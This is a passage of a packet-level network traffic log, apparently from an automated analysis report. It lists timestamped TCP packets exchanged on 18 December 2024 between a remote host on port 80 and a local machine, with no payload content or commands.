Dec 18, 2024 14:07:37.303643942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.303658009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.303698063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.304418087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.304430962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.304476023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.305382967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.305401087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.305432081 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.306153059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.306291103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.306338072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.307146072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.307208061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.307255030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.307914972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.307976007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.308024883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.308765888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.308821917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.308829069 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.309650898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.309700966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.309730053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.362660885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.396930933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.396996021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.397087097 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.397216082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.397290945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.397349119 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.398088932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.398266077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.398983955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.399041891 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.399051905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.399981976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.400037050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.400063992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.400110006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.400791883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.400944948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.400996923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.401534081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.401743889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.401798964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.402394056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.402532101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.403377056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.403390884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.403439999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.404246092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.404258966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.404304028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.405066013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.405078888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.405124903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.405905008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.405925989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.405982018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.406780958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.406925917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.407826900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.407879114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.407917976 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.407933950 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.408679962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.408691883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.408741951 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.409449100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.409634113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.409694910 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.410254955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.410341978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.411089897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.411144972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.411202908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.411895990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.411951065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.412000895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.412075996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.412847042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.412930012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.412983894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.413763046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.413775921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.413831949 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.414601088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.414618015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.414695024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.415445089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.415520906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.416234016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.416292906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.416358948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.416619062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.417123079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.417367935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.417422056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.417973042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.418092966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.418144941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.418837070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.419163942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.419708967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.419765949 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.419815063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.420559883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.420614958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.420659065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.420702934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.421483040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.421736956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.421787024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.422446966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.422460079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.422508955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.423290014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.423429012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.424058914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.424115896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.424268007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.424745083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.424885035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.425115108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.425163984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.425832987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.426014900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.426064968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.426687002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.426915884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.427510023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.427567959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.427974939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.428440094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.428453922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.428498030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.428566933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.429254055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.429446936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.429497957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.430130005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.430387974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.430468082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.431078911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.472064972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.491193056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.491370916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.491430998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.491579056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.491916895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.491961956 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.492392063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.492455006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.492510080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.493158102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.493274927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.493319035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.494031906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.494157076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.494203091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.495050907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.495064020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.495101929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.495776892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.495876074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.495919943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.496607065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.496833086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.496874094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.497632980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.497714043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.497756004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.498528004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.498548985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.498590946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.499305010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.499330044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.499372959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.500088930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.500277996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.500325918 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.501194954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.501260996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.501302004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.501924992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.550182104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.592890024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.592902899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.592981100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.593327045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.593400002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.593461037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.594165087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.594177008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.594218969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.595021963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.595096111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.595144033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.595906973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.595920086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.595953941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.596782923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.597130060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.597191095 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.597671986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.597856998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.597903013 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.599567890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.599756002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.599801064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.600251913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.600483894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.600528002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.600951910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.601186991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.601231098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.601680994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.601702929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.601742983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.602411032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.602659941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.602699041 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.603071928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.603082895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.603121042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.603641033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.603811979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.603858948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.604537010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.604790926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.604840040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.605392933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.605572939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.605623960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.606308937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.606491089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.606537104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.607189894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.607242107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.607280016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.608046055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.608278036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.608319998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.608871937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.608989954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.609029055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.609790087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.610053062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.610097885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.610624075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.610758066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.610799074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.611432076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.611560106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.611601114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.612413883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.612601995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.612696886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.613168955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.613385916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.613431931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.614034891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.614168882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.614212036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.614903927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.615012884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.615061998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.615921974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.615933895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.615978003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.616691113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.616791010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.616832018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.617532969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.617770910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.617810965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.618427992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.618485928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.618525028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.619277954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.619375944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.619420052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.620173931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.620389938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.620429039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.621016979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.621092081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.621134043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.621848106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.621958017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.621999979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.622726917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.622981071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.623023987 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.623620987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.623881102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.623924017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.624459982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.624676943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.624718904 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.625276089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.625463009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.625505924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.626183033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.626349926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.626395941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.711689949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.711781979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.711841106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.712249994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.712485075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.712526083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.713386059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.713655949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.713705063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.714485884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.714576006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.714617014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.715358019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.715447903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.715491056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.716298103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.716490030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.716531992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.717092037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.717192888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.717231989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.717669010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.717818022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.717858076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.718153000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.718341112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.718396902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.719136953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.719151974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.719192028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.719825029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.719964027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.720010996 CET	49707	80	192.168.2.8	176.113.115.178
